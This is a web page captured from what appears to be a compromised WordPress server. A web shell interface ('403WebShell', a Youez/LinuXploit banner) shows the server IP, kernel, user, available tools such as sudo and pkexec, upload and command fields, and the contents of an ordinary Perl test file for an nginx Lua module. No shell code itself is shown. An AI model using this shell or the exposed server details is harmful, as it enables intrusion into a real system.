WordPress

Briefly unavailable for scheduled maintenance.
Check back in a some hours.
Uname:Linux wp 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64

Base Dir : /var/www/eduesan

User : www-data


403WebShell
403Webshell
Server IP : 202.131.237.196  /  Your IP : 216.73.216.192
Web Server : nginx/1.14.0
System : Linux wp 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
User : www-data ( 33)
PHP Version : 7.2.24-0ubuntu0.18.04.17
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /www/server/nginx/src/lua_nginx_module/misc/recv-until-pm/t/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /www/server/nginx/src/lua_nginx_module/misc/recv-until-pm/t/sanity.t
# vi:ft=

use 5.10.1;
use Test::Base;
use RecvUntil;

plan tests => 1 * blocks();

run {
    my $block = shift;
    my $name = $block->name;
    my $pat = $block->pat // die "$name: No --- pat found";
    my $txt = $block->txt // die "$name: No --- txt found";

    my $expected = $block->out // die "$name: No --- out found";

    my $it = RecvUntil::recv_until($pat);
    is $it->($txt), $expected, "$name: output ok";
};

__DATA__

=== TEST 1:
--- pat: abcabd
--- txt: abcabcabd
--- out: abc



=== TEST 2:
--- pat: aa
--- txt: abcabcaad
--- out: abcabc



=== TEST 3:
--- pat: ab
--- txt: bbcabcaad
--- out: bbc



=== TEST 4:
--- pat: aaa
--- txt: abaabcaaaef
--- out: abaabc



=== TEST 5:
--- pat: aaaaad
--- txt: baaaaaaaaeaaaaaaadf
--- out: baaaaaaaaeaa



=== TEST 6:
--- pat: abacadae
--- txt: a
--- out:



=== TEST 7:
--- pat: abacadae
--- txt: ababacadae
--- out: ab



=== TEST 8:
--- pat: abacadae
--- txt: abacabacadae
--- out: abac



=== TEST 9:
--- pat: abacadae
--- txt: abaabacadae
--- out: aba



=== TEST 10:
--- pat: abacadae
--- txt: abacadabacadae
--- out: abacad



=== TEST 11:
--- pat: abcabdabcabe
--- txt: abcabdabcabdabcabe
--- out: abcabd



=== TEST 12:
--- pat: abcabdabcabe
--- txt: abcabdabcabcabdabcabe
--- out: abcabdabc



=== TEST 13:
--- pat: abcabdabcabe
--- txt: abcabcabdabcabe
--- out: abc



=== TEST 14:
--- pat: abcabdabcabe
--- txt: ababcabdabcabe
--- out: ab



=== TEST 15:
--- pat: abcdef
--- txt: abcabcdef
--- out: abc



=== TEST 16:
--- pat: -- abc
--- txt: ---- abc
--- out: --



=== TEST 17:
--- pat: yz--ababyz
--- txt: 
--- out: --
--- SKIP


Youez - 2016 - github.com/yon3zu
LinuXploit